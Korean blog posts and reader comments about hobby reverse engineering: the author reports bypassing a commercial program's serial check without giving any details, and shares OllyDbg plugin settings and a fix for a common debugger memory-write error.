그다지 어렵지 않게 리버싱이 되었고 해결되더군요. 상용 제품으로서 좀더 신경을 쓰는 편이 좋을것 같습니다.







리버싱에 흥미를 느끼고 틈틈히 공부해 나가면서 많은 것을 배우는것 같습니다.

그리고 리버싱에 관한 법률에 대해 다시 한번 잘 읽어봐야겠다는 생각이 들기 시작했습니다.

상용프로그램에 대한 리버싱 힌트나 파일은 절대 공개하지 않을 것입니다.
  1. acranes 2010.02.28 23:11

    정말 대단하시네요
    제가 꼭 필요한데 주시면 않되나요?
    acranes@naver.com 입닏다.
    감사합니다.

반응형
평소 흥미를 갖던 분야가 리버스엔지니어링이였다.

이리저리 자료를 찾아 기웃기웃 거리고 혼자 공부하기 시작하면서 몇개의 크랙미도 풀어보았다.

뭔가 실전에 한번 부딪혀보고 싶다는 생각을 했고 그 첫 재물이 된것이 USBSafe다.

패킹도 되어있지 않고 리버싱에 대한 생각은 하지 않았나 보다.

뭐 시리얼 부분은 어렵지 않게 처리할수 있었고 그 다음이 문제였다.

시리얼 등록됬는데 왜이랫 ㅡㅡ; 이놈이.. 꼼수를 부리는 듯 했다....

사전지식이 부족한 나는 당황하고 끙끙어리며 머리를 긁적이며 소스를 보았다.. ㅎㅎ

1단계 돌파후 2단계 약간의 부족함이 있어 2단계까지 클리어했다.




그리고 보는 바와 같이 해결하였다. 딱히 리버싱이라고 해서 상용프로그램에 해를 끼칠 생각은 없다.

그리고 보는 바와 같이 해당 시리얼은 정상 시리얼이 아니기 때문에 등록해 보는 일은 없도록 하자.

이 포스트에 힌트라던가 파일을 공개하지도 않을 것이다. 순수한 리버싱에 대한 열정의 표출일 뿐이다.^^

참고로 이 포스트가 현 프로그램의 제작자에게 피해가 된다면 삭제토록 하겠다.

그리고 해당 소프트웨어가 좀더 좋은 프로그램으로 거듭나기를 희망한다.^^ 

이 느낌때문에 리버싱을 하나보다..^^



반응형
이전에 사용하던 Olly 가 플러그인 충돌과 사용상에 불편함이 있어서 간소화 했다.

필요없는 플러그인은 제외하고 어셈코드에 하이라이트 기능으로 보기 쉽게 하였다..

기본 Olly에 몇가지 플러그인이 포함되어 있고 ini 파일 수정만 한정도이ㄷ.


이것저것 훨 가벼워지고 에러없이 잘 작동한다.. ㅎㅎ
  1. Favicon of http://okgosu.tistory.com BlogIcon okgosu 2009.03.21 01:27

    어셈블리 코딩 하세요?
    혹시 해커?

    with okgosu

  2. Favicon of https://www.pmguda.com BlogIcon Ishaya seon 2009.03.21 13:55 신고

    ㅎㅎ 리버스엔지니어링에 관심이 많아서...
    해커는 아니구요.. 단지 관심이 많을뿐이에요.^^
    시스템과 보안쪽에 관심이 좀 있어서 취미삼아 공부하고 있어요..^^

  3. 좋네요 2010.12.30 03:06

    잘쓸께염

반응형


Unable to write to memory of debugged process (7FFDA002..7FFDA002).

Ollydbg 실행시에 위와 같은 에러가 뜨는 경우가 있다. 적잖이 짜증이 난다.

이는 Ollydbg 플러그인 설정이 잘못 되어 있기 때문이다.

Ollydbg 탭에 보면 Plugins > OllyHelper > Options..

Auto Clear the debug bit.  에 체크가 되어있다면 체크를 풀어주면 된다.

  1. 좋네요 2010.12.30 03:11

    뭐가 계속 충돌인지 궁굼했었는데 이거였군요

  2. 1902D 2011.02.02 23:03

    고맙슴다

  3. 굳굳 2016.10.15 13:24

    아직 블로그 운영하시는진 모르겠지만
    unable to " read "to memory of debugged process 오류는 어떻게 해결하나요??

+ Recent posts